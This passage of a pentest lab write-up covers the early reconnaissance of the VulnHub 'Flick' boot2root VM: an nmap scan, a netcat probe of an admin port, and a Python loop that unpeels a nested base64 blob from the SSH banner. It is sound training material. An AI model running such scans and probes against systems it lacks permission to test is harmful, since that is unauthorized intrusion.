Core dump overflow

Core dump in progress...

Pentest lab - Flick

| Comments

The next challenge I’m going for from the myriad of options on VulnHub will be Flick, by Leonjza!

Welcome to the flick boot2root!

  • Where is the flag?
  • What do you need to flick to find it?

Completing “flick” will require some sound thinking, good enumeration skills & time! The objective is to find and read the flag that lives /root/

As a bonus, can you get root command execution?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
nmap -A -p1-65535 192.168.80.129

Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-09 15:28 EET
Nmap scan report for 192.168.80.129
Host is up (0.00056s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 04:d0:8d:4d:ee:87:30:e7:60:82:63:d3:a8:6e:4b:ac (DSA)
|   2048 64:ec:a9:9b:0b:c0:11:d4:08:63:cf:83:e1:db:23:9a (RSA)
|_  256 2d:32:93:ce:0e:54:3f:84:ee:01:c7:c0:bb:68:e2:02 (ECDSA)
8881/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port8881-TCP:V=6.47%I=7%D=2/9%Time=54D8B5FC%P=x86_64-unknown-linux-gnu%
SF:r(NULL,5F,"Welcome\x20to\x20the\x20admin\x20server\.\x20A\x20correct\x2
SF:0password\x20will\x20'flick'\x20the\x20switch\x20and\x20open\x20a\x20ne
SF:w\x20door:\n>\x20")%r(GetRequest,78,"Welcome\x20to\x20the\x20admin\x20s
SF:erver\.\x20A\x20correct\x20password\x20will\x20'flick'\x20the\x20switch
SF:\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x20GET\x20/\x20HTTP/1\.0
SF:\r\n\r\n\n>\x20")%r(FourOhFourRequest,9B,"Welcome\x20to\x20the\x20admin
SF:\x20server\.\x20A\x20correct\x20password\x20will\x20'flick'\x20the\x20s
SF:witch\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x20GET\x20/nice%20p
SF:orts%2C/Tri%6Eity\.txt%2ebak\x20HTTP/1\.0\r\n\r\n\n>\x20")%r(GenericLin
SF:es,6A,"Welcome\x20to\x20the\x20admin\x20server\.\x20A\x20correct\x20pas
SF:sword\x20will\x20'flick'\x20the\x20switch\x20and\x20open\x20a\x20new\x2
SF:0door:\n>\x20OK:\x20\r\n\r\n\n>\x20")%r(HTTPOptions,7C,"Welcome\x20to\x
SF:20the\x20admin\x20server\.\x20A\x20correct\x20password\x20will\x20'flic
SF:k'\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x20OP
SF:TIONS\x20/\x20HTTP/1\.0\r\n\r\n\n>\x20")%r(RTSPRequest,7C,"Welcome\x20t
SF:o\x20the\x20admin\x20server\.\x20A\x20correct\x20password\x20will\x20'f
SF:lick'\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x2
SF:0OPTIONS\x20/\x20RTSP/1\.0\r\n\r\n\n>\x20")%r(RPCCheck,92,"Welcome\x20t
SF:o\x20the\x20admin\x20server\.\x20A\x20correct\x20password\x20will\x20'f
SF:lick'\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x2
SF:0\x80\0\0\(r\xfe\x1d\x13\0\0\0\0\0\0\0\x02\0\x01\x86\xa0\0\x01\x97\|\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\n>\x20")%r(DNSVersionBindReq,86,"
SF:Welcome\x20to\x20the\x20admin\x20server\.\x20A\x20correct\x20password\x
SF:20will\x20'flick'\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\
SF:n>\x20OK:\x20\0\x1e\0\x06\x01\0\0\x01\0\0\0\0\0\0\x07version\x04bind\0\
SF:0\x10\0\x03\n>\x20")%r(DNSStatusRequest,74,"Welcome\x20to\x20the\x20adm
SF:in\x20server\.\x20A\x20correct\x20password\x20will\x20'flick'\x20the\x2
SF:0switch\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x20\0\x0c\0\0\x10
SF:\0\0\0\0\0\0\0\0\0\n>\x20");
MAC Address: 00:0C:29:7A:27:7B (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Not much to work with. I netcat’ed to the 8881 port:

1
2
3
4
5
6
nc 192.168.80.129 8881
Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
> letmein?
OK: letmein?

> 

I tried bombarding it with long strings to see how it would behave, but nothing happened. Next thing I just thought to try SSH and it would seem this is the more likely route:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
ssh 192.168.80.129 
The authenticity of host '192.168.80.129 (192.168.80.129)' can't be established.
ECDSA key fingerprint is 2d:32:93:ce:0e:54:3f:84:ee:01:c7:c0:bb:68:e2:02.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.80.129' (ECDSA) to the list of known hosts.

\x56\x6d\x30\x77\x64\x32\x51\x79\x55\x58\x6c\x56\x57\x47\x78\x57\x56\x30\x64\x34
\x56\x31\x59\x77\x5a\x44\x52\x57\x4d\x56\x6c\x33\x57\x6b\x52\x53\x57\x46\x4a\x74
\x65\x46\x5a\x56\x4d\x6a\x41\x31\x56\x6a\x41\x78\x56\x32\x4a\x45\x54\x6c\x68\x68
\x4d\x6b\x30\x78\x56\x6d\x70\x4b\x53\x31\x49\x79\x53\x6b\x56\x55\x62\x47\x68\x6f
\x54\x56\x68\x43\x55\x56\x5a\x74\x65\x46\x5a\x6c\x52\x6c\x6c\x35\x56\x47\x74\x73
\x61\x6c\x4a\x74\x61\x47\x39\x55\x56\x6d\x68\x44\x56\x56\x5a\x61\x63\x56\x46\x74
\x52\x6c\x70\x57\x4d\x44\x45\x31\x56\x54\x4a\x30\x56\x31\x5a\x58\x53\x6b\x68\x68
\x52\x7a\x6c\x56\x56\x6d\x78\x61\x4d\x31\x5a\x73\x57\x6d\x46\x6b\x52\x30\x35\x47
\x57\x6b\x5a\x53\x54\x6d\x46\x36\x52\x54\x46\x57\x56\x45\x6f\x77\x56\x6a\x46\x61
\x57\x46\x4e\x72\x61\x47\x68\x53\x65\x6d\x78\x57\x56\x6d\x70\x4f\x54\x30\x30\x78
\x63\x46\x5a\x58\x62\x55\x5a\x72\x55\x6a\x41\x31\x52\x31\x64\x72\x57\x6e\x64\x57
\x4d\x44\x46\x46\x55\x6c\x52\x47\x56\x31\x5a\x46\x62\x33\x64\x57\x61\x6b\x5a\x68
\x56\x30\x5a\x4f\x63\x6d\x46\x48\x61\x46\x4e\x6c\x62\x58\x68\x58\x56\x6d\x30\x78
\x4e\x46\x6c\x56\x4d\x48\x68\x58\x62\x6b\x35\x59\x59\x6c\x56\x61\x63\x6c\x56\x71
\x51\x54\x46\x53\x4d\x57\x52\x79\x56\x32\x78\x4f\x56\x57\x4a\x56\x63\x45\x64\x5a
\x4d\x46\x5a\x33\x56\x6a\x4a\x4b\x56\x56\x4a\x59\x5a\x46\x70\x6c\x61\x33\x42\x49
\x56\x6d\x70\x47\x54\x32\x52\x57\x56\x6e\x52\x68\x52\x6b\x35\x73\x59\x6c\x68\x6f
\x57\x46\x5a\x74\x4d\x58\x64\x55\x4d\x56\x46\x33\x54\x55\x68\x6f\x61\x6c\x4a\x73
\x63\x46\x6c\x5a\x62\x46\x5a\x68\x59\x32\x78\x57\x63\x56\x46\x55\x52\x6c\x4e\x4e
\x56\x6c\x59\x31\x56\x46\x5a\x53\x55\x31\x5a\x72\x4d\x58\x4a\x6a\x52\x6d\x68\x57
\x54\x57\x35\x53\x4d\x31\x5a\x71\x53\x6b\x74\x57\x56\x6b\x70\x5a\x57\x6b\x5a\x77
\x62\x47\x45\x7a\x51\x6b\x6c\x57\x62\x58\x42\x48\x56\x44\x4a\x53\x56\x31\x5a\x75
\x55\x6d\x68\x53\x61\x7a\x56\x7a\x57\x57\x78\x6f\x62\x31\x64\x47\x57\x6e\x52\x4e
\x53\x47\x68\x50\x55\x6d\x31\x34\x56\x31\x52\x56\x61\x47\x39\x58\x52\x30\x70\x79
\x54\x6c\x5a\x73\x57\x6d\x4a\x47\x57\x6d\x68\x5a\x4d\x6e\x68\x58\x59\x7a\x46\x57
\x63\x6c\x70\x47\x61\x47\x6c\x53\x4d\x31\x46\x36\x56\x6a\x4a\x30\x55\x31\x55\x78
\x57\x6e\x4a\x4e\x57\x45\x70\x71\x55\x6d\x31\x6f\x56\x31\x52\x58\x4e\x56\x4e\x4e
\x4d\x56\x70\x78\x55\x32\x74\x30\x56\x31\x5a\x72\x63\x46\x70\x58\x61\x31\x70\x33
\x56\x6a\x46\x4b\x56\x32\x4e\x49\x62\x46\x64\x57\x52\x55\x70\x6f\x56\x6b\x52\x4b
\x54\x32\x52\x47\x53\x6e\x4a\x61\x52\x6d\x68\x70\x56\x6a\x4e\x6f\x56\x56\x64\x57
\x55\x6b\x39\x52\x4d\x57\x52\x48\x56\x32\x35\x53\x54\x6c\x5a\x46\x53\x6c\x68\x55
\x56\x33\x68\x48\x54\x6c\x5a\x61\x57\x45\x35\x56\x4f\x56\x68\x53\x4d\x48\x42\x4a
\x56\x6c\x64\x34\x63\x31\x64\x74\x53\x6b\x68\x68\x52\x6c\x4a\x58\x54\x55\x5a\x77
\x56\x46\x5a\x71\x52\x6e\x64\x53\x4d\x56\x4a\x30\x5a\x55\x64\x73\x55\x32\x4a\x59
\x59\x33\x68\x57\x61\x31\x70\x68\x56\x54\x46\x56\x65\x46\x64\x75\x53\x6b\x35\x58
\x52\x58\x42\x78\x56\x57\x78\x6b\x4e\x47\x46\x47\x56\x58\x64\x68\x52\x55\x35\x55
\x55\x6d\x78\x77\x65\x46\x55\x79\x64\x47\x46\x69\x52\x6c\x70\x7a\x56\x32\x78\x77
\x57\x47\x45\x78\x63\x44\x4e\x5a\x61\x32\x52\x47\x5a\x57\x78\x47\x63\x6d\x4a\x47
\x5a\x46\x64\x4e\x4d\x45\x70\x4a\x56\x6d\x74\x53\x53\x31\x55\x78\x57\x58\x68\x57
\x62\x6c\x5a\x57\x59\x6c\x68\x43\x56\x46\x6c\x72\x56\x6e\x64\x57\x56\x6c\x70\x30
\x5a\x55\x63\x35\x55\x6b\x31\x58\x55\x6e\x70\x57\x4d\x6a\x56\x4c\x56\x30\x64\x4b
\x53\x46\x56\x74\x4f\x56\x56\x57\x62\x48\x42\x59\x56\x47\x78\x61\x59\x56\x64\x48
\x56\x6b\x68\x6b\x52\x32\x68\x70\x55\x6c\x68\x42\x64\x31\x64\x57\x56\x6d\x39\x55
\x4d\x56\x70\x30\x55\x6d\x35\x4b\x54\x31\x5a\x73\x53\x6c\x68\x55\x56\x6c\x70\x33
\x56\x30\x5a\x72\x65\x46\x64\x72\x64\x47\x70\x69\x56\x6b\x70\x49\x56\x6c\x64\x34
\x61\x32\x46\x57\x53\x6e\x52\x50\x56\x45\x35\x58\x54\x57\x35\x6f\x57\x46\x6c\x71
\x53\x6b\x5a\x6c\x52\x6d\x52\x5a\x57\x6b\x55\x31\x56\x31\x5a\x73\x63\x46\x56\x58
\x56\x33\x52\x72\x56\x54\x46\x73\x56\x31\x56\x73\x57\x6c\x68\x69\x56\x56\x70\x7a
\x57\x57\x74\x61\x64\x32\x56\x47\x56\x58\x6c\x6b\x52\x45\x4a\x58\x54\x56\x5a\x77
\x65\x56\x59\x79\x65\x48\x64\x58\x62\x46\x70\x58\x59\x30\x68\x4b\x56\x31\x5a\x46
\x57\x6b\x78\x57\x4d\x56\x70\x48\x59\x32\x31\x4b\x52\x31\x70\x47\x5a\x45\x35\x4e
\x52\x58\x42\x4b\x56\x6d\x31\x30\x55\x31\x4d\x78\x56\x58\x68\x58\x57\x47\x68\x68
\x55\x30\x5a\x61\x56\x6c\x6c\x72\x57\x6b\x74\x6a\x52\x6c\x70\x78\x56\x47\x30\x35
\x56\x31\x5a\x73\x63\x45\x68\x58\x56\x45\x35\x76\x59\x56\x55\x78\x57\x46\x56\x75
\x63\x46\x64\x4e\x56\x32\x68\x32\x56\x31\x5a\x61\x53\x31\x49\x78\x54\x6e\x56\x52
\x62\x46\x5a\x58\x54\x54\x46\x4b\x4e\x6c\x5a\x48\x64\x47\x46\x68\x4d\x6b\x35\x7a
\x56\x32\x35\x53\x61\x31\x4a\x74\x55\x6e\x42\x57\x62\x47\x68\x44\x54\x6c\x5a\x6b
\x56\x56\x46\x74\x52\x6d\x70\x4e\x56\x31\x49\x77\x56\x54\x4a\x30\x61\x31\x64\x48
\x53\x6c\x68\x68\x52\x30\x5a\x56\x56\x6d\x78\x77\x4d\x31\x70\x58\x65\x48\x4a\x6c
\x56\x31\x5a\x49\x5a\x45\x64\x30\x55\x32\x45\x7a\x51\x58\x64\x58\x62\x46\x5a\x68
\x59\x54\x4a\x47\x56\x31\x64\x75\x53\x6d\x6c\x6c\x61\x31\x70\x59\x57\x57\x78\x6f
\x51\x31\x52\x47\x55\x6e\x4a\x58\x62\x45\x70\x73\x55\x6d\x31\x53\x65\x6c\x6c\x56
\x57\x6c\x4e\x68\x56\x6b\x70\x31\x55\x57\x78\x77\x56\x32\x4a\x59\x55\x6c\x68\x61
\x52\x45\x5a\x72\x55\x6a\x4a\x4b\x53\x56\x52\x74\x61\x46\x4e\x57\x56\x46\x5a\x61
\x56\x6c\x63\x78\x4e\x47\x51\x79\x56\x6b\x64\x57\x62\x6c\x4a\x72\x55\x6b\x56\x4b
\x62\x31\x6c\x59\x63\x45\x64\x6c\x56\x6c\x4a\x7a\x56\x6d\x35\x4f\x57\x47\x4a\x47
\x63\x46\x68\x5a\x4d\x47\x68\x4c\x56\x32\x78\x61\x57\x46\x56\x72\x5a\x47\x46\x57
\x56\x31\x4a\x51\x56\x54\x42\x6b\x52\x31\x49\x79\x52\x6b\x68\x69\x52\x6b\x35\x70
\x59\x54\x42\x77\x4d\x6c\x5a\x74\x4d\x54\x42\x56\x4d\x55\x31\x34\x56\x56\x68\x73
\x56\x56\x64\x48\x65\x46\x5a\x5a\x56\x45\x5a\x33\x59\x55\x5a\x57\x63\x56\x4e\x74
\x4f\x56\x64\x53\x62\x45\x70\x5a\x56\x47\x78\x6a\x4e\x57\x45\x79\x53\x6b\x64\x6a
\x52\x57\x68\x58\x59\x6c\x52\x42\x4d\x56\x5a\x58\x63\x33\x68\x58\x52\x6c\x5a\x7a
\x59\x55\x5a\x6b\x54\x6c\x59\x79\x61\x44\x4a\x57\x61\x6b\x4a\x72\x55\x7a\x46\x6b
\x56\x31\x5a\x75\x53\x6c\x42\x57\x62\x48\x42\x76\x57\x56\x52\x47\x64\x31\x4e\x57
\x57\x6b\x68\x6c\x52\x30\x5a\x61\x56\x6d\x31\x53\x52\x31\x52\x73\x57\x6d\x46\x56
\x52\x6c\x6c\x35\x59\x55\x5a\x6f\x57\x6c\x64\x49\x51\x6c\x68\x56\x4d\x46\x70\x68
\x59\x31\x5a\x4f\x63\x56\x56\x73\x57\x6b\x35\x57\x4d\x55\x6c\x33\x56\x6c\x52\x4b
\x4d\x47\x49\x79\x52\x6b\x64\x54\x62\x6b\x35\x55\x59\x6b\x64\x6f\x56\x6c\x5a\x73
\x57\x6e\x64\x4e\x4d\x56\x70\x79\x56\x32\x31\x47\x61\x6c\x5a\x72\x63\x44\x42\x61
\x52\x57\x51\x77\x56\x6a\x4a\x4b\x63\x6c\x4e\x72\x61\x46\x64\x53\x4d\x32\x68\x6f
\x56\x6b\x52\x4b\x52\x31\x59\x78\x54\x6e\x56\x56\x62\x45\x4a\x58\x55\x6c\x52\x57
\x57\x56\x64\x57\x55\x6b\x64\x6b\x4d\x6b\x5a\x48\x56\x32\x78\x57\x55\x32\x45\x78
\x63\x48\x4e\x56\x62\x54\x46\x54\x5a\x57\x78\x73\x56\x6c\x64\x73\x54\x6d\x68\x53
\x56\x45\x5a\x61\x56\x56\x63\x31\x62\x31\x59\x78\x57\x58\x70\x68\x53\x45\x70\x61
\x59\x57\x74\x61\x63\x6c\x56\x71\x52\x6c\x64\x6a\x4d\x6b\x5a\x47\x54\x31\x5a\x6b
\x56\x31\x5a\x47\x57\x6d\x46\x57\x62\x47\x4e\x34\x54\x6b\x64\x52\x65\x56\x5a\x72
\x5a\x46\x64\x69\x62\x45\x70\x79\x56\x57\x74\x57\x53\x32\x49\x78\x62\x46\x6c\x6a
\x52\x57\x52\x73\x56\x6d\x78\x4b\x65\x6c\x5a\x74\x4d\x44\x56\x58\x52\x30\x70\x48
\x59\x30\x5a\x6f\x57\x6b\x31\x48\x61\x45\x78\x57\x4d\x6e\x68\x68\x56\x30\x5a\x57
\x63\x6c\x70\x48\x52\x6c\x64\x4e\x4d\x6d\x68\x4a\x56\x31\x52\x4a\x65\x46\x4d\x78
\x53\x58\x68\x6a\x52\x57\x52\x68\x55\x6d\x73\x31\x57\x46\x59\x77\x56\x6b\x74\x4e
\x62\x46\x70\x30\x59\x30\x56\x6b\x57\x6c\x59\x77\x56\x6a\x52\x57\x62\x47\x68\x76
\x56\x30\x5a\x6b\x53\x47\x46\x47\x57\x6c\x70\x69\x57\x47\x68\x6f\x56\x6d\x31\x34
\x63\x32\x4e\x73\x5a\x48\x4a\x6b\x52\x33\x42\x54\x59\x6b\x5a\x77\x4e\x46\x5a\x58
\x4d\x54\x42\x4e\x52\x6c\x6c\x34\x56\x32\x35\x4f\x61\x6c\x4a\x58\x61\x46\x68\x57
\x61\x6b\x35\x54\x56\x45\x5a\x73\x56\x56\x46\x59\x61\x46\x4e\x57\x61\x33\x42\x36
\x56\x6b\x64\x34\x59\x56\x55\x79\x53\x6b\x5a\x58\x57\x48\x42\x58\x56\x6c\x5a\x77
\x52\x31\x51\x78\x57\x6b\x4e\x56\x62\x45\x4a\x56\x54\x55\x51\x77\x50\x51\x3d\x3d

 .o88o. oooo   o8o            oooo        
 888 `" `888   `"'            `888        
o888oo   888  oooo   .ooooo.   888  oooo  
 888     888  `888  d88' `"Y8  888 .8P'   
 888     888   888  888        888888.    
 888     888   888  888   .o8  888 `88b.  
o888o   o888o o888o `Y8bod8P' o888o o888o 
                                          

root@192.168.80.129's password: 

I copied that block of hex to an online hex to string converter that spit out a Base64 encoded string:

1
Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVMjA1VjAxV2JETlhhMk0xVmpKS1IySkVUbGhoTVhCUVZteFZlRll5VGtsalJtaG9UVmhDVVZacVFtRlpWMDE1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GWkZSTmF6RTFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbUZrUjA1R1drWndWMDFFUlRGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMWRyV2xOVWJVcEdZMFZ3VjJKVVJYZFpla3BIVmpGT2RWVnRhRk5sYlhoWFZtMXdUMVF3TUhoalJscFlZbFZhY2xWcVFURlNNVlY1VFZSU1ZrMXJjRmhWTW5SM1ZqSktWVkpZWkZwbGEzQklWbXBHVDJSV1ZuUmhSazVzWWxob1dGWnRNSGhPUm14V1RVaG9XR0pyTlZsWmJGWmhZMnhXYzFWclpGaGlSM1F6VjJ0U1UxWnJNWEpqUm1oV1RXNVNNMVpxU2t0V1ZrcFpXa1p3VjFKV2NIbFdWRUpoVkRKT2RGSnJaRmhpVjNoVVdWUk9RMWRHV25STlZFSlhUV3hHTlZaWE5VOVhSMHBJVld4c1dtSkhhRlJXTUZwVFZqRndSMVJ0ZUdsU2JYY3hWa1phVTFVeFduSk5XRXBxVWxkNGFGVXdhRU5UUmxweFUydGFiRlpzV2xwWGExcDNZa2RGZWxGcmJGZFdNMEpJVmtSS1UxWXhWblZWYlhCVFlrVndWVlp0ZUc5Uk1XUnpWMjVLV0dKSFVtOVVWbHBYVGxaYVdHVkhkR2hpUlhBd1dWVm9UMVp0Um5KT1ZsSlhUVlp3V0ZreFdrdGpiVkpIVld4a2FWSnRPVE5XTW5oWFlqSkZlRmRZWkU1V1ZscFVXV3RrVTFsV1VsWlhiVVpzWWtad2VGVXlkREJXTVZweVYyeHdXbFpXY0hKV1ZFWkxWMVpHY21KR1pGZE5NRXBKVm10U1MxVXhXWGhhU0ZaVllrWktjRlpxVG05V1ZscEhXVE5vYVUxWFVucFdNV2h2V1ZaS1IxTnVRbFZXTTFKNlZHdGFhMk5zV25Sa1JtUnBWbGhDTlZkVVFtRmpNV1IwVTJ0a1dHSlhhR0ZVVmxwM1pXeHJlV1ZIZEd0U2EzQXdXbFZhYTJGV1duSmlla1pYWWxoQ1RGUnJXbEpsUm1SellVWlNhVkp1UWxwV2JYUlhaREZrUjJKSVRtaFNWVFZaVlcxNGQyVkdWblJrUkVKb1lYcEdlVlJzVm5OWGJGcFhZMGhLV2xaWFVrZGFWV1JQVTBkR1IyRkhiRk5pYTBwMlZtMTBVMU14VVhsVVdHeFZZVEZ3YUZWcVNtOVdSbEpZVGxjNWEySkdjRWhXYlRBMVZXc3hXRlZzYUZkTlYyaDJWakJrUzFkV1ZuSlBWbHBvWVRGd1NWWkhlR0ZaVm1SR1RsWmFVRll5YUZoWldIQlhVMFphY1ZOcVVsWk5WMUl3VlRKMGIyRkdTbk5UYkdoVlZsWndNMVpyV21GalZrcDBaRWQwVjJKclNraFdSM2hoVkRKR1YxTnVVbEJXUlRWWVdWUkdkMkZHV2xWU2ExcHNVbTFTZWxsVldsTmhSVEZaVVc1b1YxWXphSEpaYWtaclVqRldjMkZGT1ZkV1ZGWmFWbGN4TkdReVZrZFdibEpyVWtWS2IxbFljRWRsVmxKelZtMDVXR0pHY0ZoWk1HaExWMnhhV0ZWclpHRldNMmhJV1RJeFMxSXhjRWRhUms1WFYwVktNbFp0Y0VkWlYwVjRWbGhvV0ZkSGFGWlpiWGhoVm14c2NsZHJkR3BTYkZwNFZXMTBNRll4V25OalJXaFhWak5TVEZsVVFYaFNWa3B6Vkd4YVUySkZXWHBXVlZwR1QxWkNVbEJVTUQwPQ==

Moving to a Base64 decoder, it appears to be decoded into…another Base64 string?

1
Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVU205V01WbDNXa2M1VjJKR2JETlhhMXBQVmxVeFYyTkljRmhoTVhCUVZqQmFZV015U2tWVWJHaG9UVlZ3VlZadGNFZFRNazE1VTJ0V1ZXSkhhRzlVVjNOM1pVWmFkR05GWkZwV01ERTFWVEowVjFaWFNraGhSemxWVm14YU0xWnNXbUZrUjA1R1drWlNUbUpGY0VwV2JURXdZekpHVjFOdVVtaFNlbXhXVm1wT1QwMHhjRlpYYlVaclVqQTFSMVV5TVRSVk1rcFhVMnR3VjJKVVJYZFpla3BIVmpGT2RWVnRhRk5sYlhoWFZtMHhORmxWTUhoWGJrNVlZbFZhY2xWc1VrZFhiR3QzV2tSU1ZrMXJjRmhWTW5SM1ZqSktWVkpZWkZwV1JWcHlWVEJhVDJOdFJrZFhiV3hUWVROQ1dGWnRNVEJXTWxGNVZXNU9XR0pIVWxsWmJHaFRWMFpTVjFwR1RteGlSbXcxVkZaU1UxWnJNWEpqUld4aFUwaENTRlpxU2tabFZsWlpXa1p3YkdFelFrbFdWM0JIVkRKU1YxVnVVbXBTYkVwVVZteG9RMWRzV25KWGJHUm9UVlpXTlZaWGVHdGhiRXAwWVVoT1ZtRnJOVlJXTVZwWFkxWktjbVJHVWxkaVJtOTNWMnhXYjJFeFdYZE5WVlpUWWtkU1lWUlZXbUZsYkZweFUydDBWMVpyV2xwWlZWcHJWVEZLV1ZGcmJGZFdNMEpJVmtSS1UxWXhaSFZVYkZKcFZqTm9WVlpHWTNoaU1XUnpWMWhvWVZKR1NuQlVWM1J6VGtaa2NsWnRkRmRpVlhCNVdUQmFjMWR0U2tkWGJXaGFUVlp3ZWxreWVHdGtSa3AwWlVaa2FWWnJiekZXYlhCTFRrWlJlRmRzYUZSaVJuQlpWbXRXZDFkR2JITmhSVTVZVW14d2VGVnRkREJoYXpGeVRsVnNXbFpXY0hKWlZXUkdaVWRPU0dGR2FHbFNia0p2Vm10U1MxUXlUWGxVYTFwaFVqSm9WRlJYTlc5a2JGcEhWbTA1VWsxWFVsaFdNV2h2VjBkS1dWVnJPVlpoYTFwSVZHeGFZVmRGTlZaUFYyaFhZWHBXU0ZacVNqUlZNV1IwVTJ0b2FGSnNTbGhVVlZwM1ZrWmFjVkp0ZEd0V2JrSkhWR3hhVDJGV1NuUlBWRTVYWVRGd2FGWlVSa1psUm1SellVWlNhRTFZUW5oV1YzaHJZakZrUjFWc2FFOVdWVFZaVlcxNGQyVkdWblJrUkVKb1lYcEdlVlJzVm05WGJGcFhZMGhLV2xaWFVrZGFWM2hIWTIxS1IxcEdaRk5XV0VKMlZtcEdZV0V4VlhoWFdHaFZZbXhhVmxscldrdGpSbFp4VW10MFYxWnNjRWhXVjNSTFlUQXhSVkpzVGxaU2JFWXpWVVpGT1ZCUlBUMD0=

This kept happening for the next decodings, so I lost my patience and went to Python to script the decoding process:

1
2
3
4
5
6
7
8
9
10
11
12
13
import base64

secret = 'Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVMjA1VjAxV2JETlhhMk0xVmpKS1IySkVUbGhoTVhCUVZteFZlRll5VGtsalJtaG9UVmhDVVZacVFtRlpWMDE1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GWkZSTmF6RTFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbUZrUjA1R1drWndWMDFFUlRGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMWRyV2xOVWJVcEdZMFZ3VjJKVVJYZFpla3BIVmpGT2RWVnRhRk5sYlhoWFZtMXdUMVF3TUhoalJscFlZbFZhY2xWcVFURlNNVlY1VFZSU1ZrMXJjRmhWTW5SM1ZqSktWVkpZWkZwbGEzQklWbXBHVDJSV1ZuUmhSazVzWWxob1dGWnRNSGhPUm14V1RVaG9XR0pyTlZsWmJGWmhZMnhXYzFWclpGaGlSM1F6VjJ0U1UxWnJNWEpqUm1oV1RXNVNNMVpxU2t0V1ZrcFpXa1p3VjFKV2NIbFdWRUpoVkRKT2RGSnJaRmhpVjNoVVdWUk9RMWRHV25STlZFSlhUV3hHTlZaWE5VOVhSMHBJVld4c1dtSkhhRlJXTUZwVFZqRndSMVJ0ZUdsU2JYY3hWa1phVTFVeFduSk5XRXBxVWxkNGFGVXdhRU5UUmxweFUydGFiRlpzV2xwWGExcDNZa2RGZWxGcmJGZFdNMEpJVmtSS1UxWXhWblZWYlhCVFlrVndWVlp0ZUc5Uk1XUnpWMjVLV0dKSFVtOVVWbHBYVGxaYVdHVkhkR2hpUlhBd1dWVm9UMVp0Um5KT1ZsSlhUVlp3V0ZreFdrdGpiVkpIVld4a2FWSnRPVE5XTW5oWFlqSkZlRmRZWkU1V1ZscFVXV3RrVTFsV1VsWlhiVVpzWWtad2VGVXlkREJXTVZweVYyeHdXbFpXY0hKV1ZFWkxWMVpHY21KR1pGZE5NRXBKVm10U1MxVXhXWGhhU0ZaVllrWktjRlpxVG05V1ZscEhXVE5vYVUxWFVucFdNV2h2V1ZaS1IxTnVRbFZXTTFKNlZHdGFhMk5zV25Sa1JtUnBWbGhDTlZkVVFtRmpNV1IwVTJ0a1dHSlhhR0ZVVmxwM1pXeHJlV1ZIZEd0U2EzQXdXbFZhYTJGV1duSmlla1pYWWxoQ1RGUnJXbEpsUm1SellVWlNhVkp1UWxwV2JYUlhaREZrUjJKSVRtaFNWVFZaVlcxNGQyVkdWblJrUkVKb1lYcEdlVlJzVm5OWGJGcFhZMGhLV2xaWFVrZGFWV1JQVTBkR1IyRkhiRk5pYTBwMlZtMTBVMU14VVhsVVdHeFZZVEZ3YUZWcVNtOVdSbEpZVGxjNWEySkdjRWhXYlRBMVZXc3hXRlZzYUZkTlYyaDJWakJrUzFkV1ZuSlBWbHBvWVRGd1NWWkhlR0ZaVm1SR1RsWmFVRll5YUZoWldIQlhVMFphY1ZOcVVsWk5WMUl3VlRKMGIyRkdTbk5UYkdoVlZsWndNMVpyV21GalZrcDBaRWQwVjJKclNraFdSM2hoVkRKR1YxTnVVbEJXUlRWWVdWUkdkMkZHV2xWU2ExcHNVbTFTZWxsVldsTmhSVEZaVVc1b1YxWXphSEpaYWtaclVqRldjMkZGT1ZkV1ZGWmFWbGN4TkdReVZrZFdibEpyVWtWS2IxbFljRWRsVmxKelZtMDVXR0pHY0ZoWk1HaExWMnhhV0ZWclpHRldNMmhJV1RJeFMxSXhjRWRhUms1WFYwVktNbFp0Y0VkWlYwVjRWbGhvV0ZkSGFGWlpiWGhoVm14c2NsZHJkR3BTYkZwNFZXMTBNRll4V25OalJXaFhWak5TVEZsVVFYaFNWa3B6Vkd4YVUySkZXWHBXVlZwR1QxWkNVbEJVTUQwPQ=='

count = 0
while True:
    try:
        secret = base64.b64decode(secret)
        print 'Try ' + str(count) + ': ' + secret
        count += 1
    except TypeError:
        print 'Done'
        break

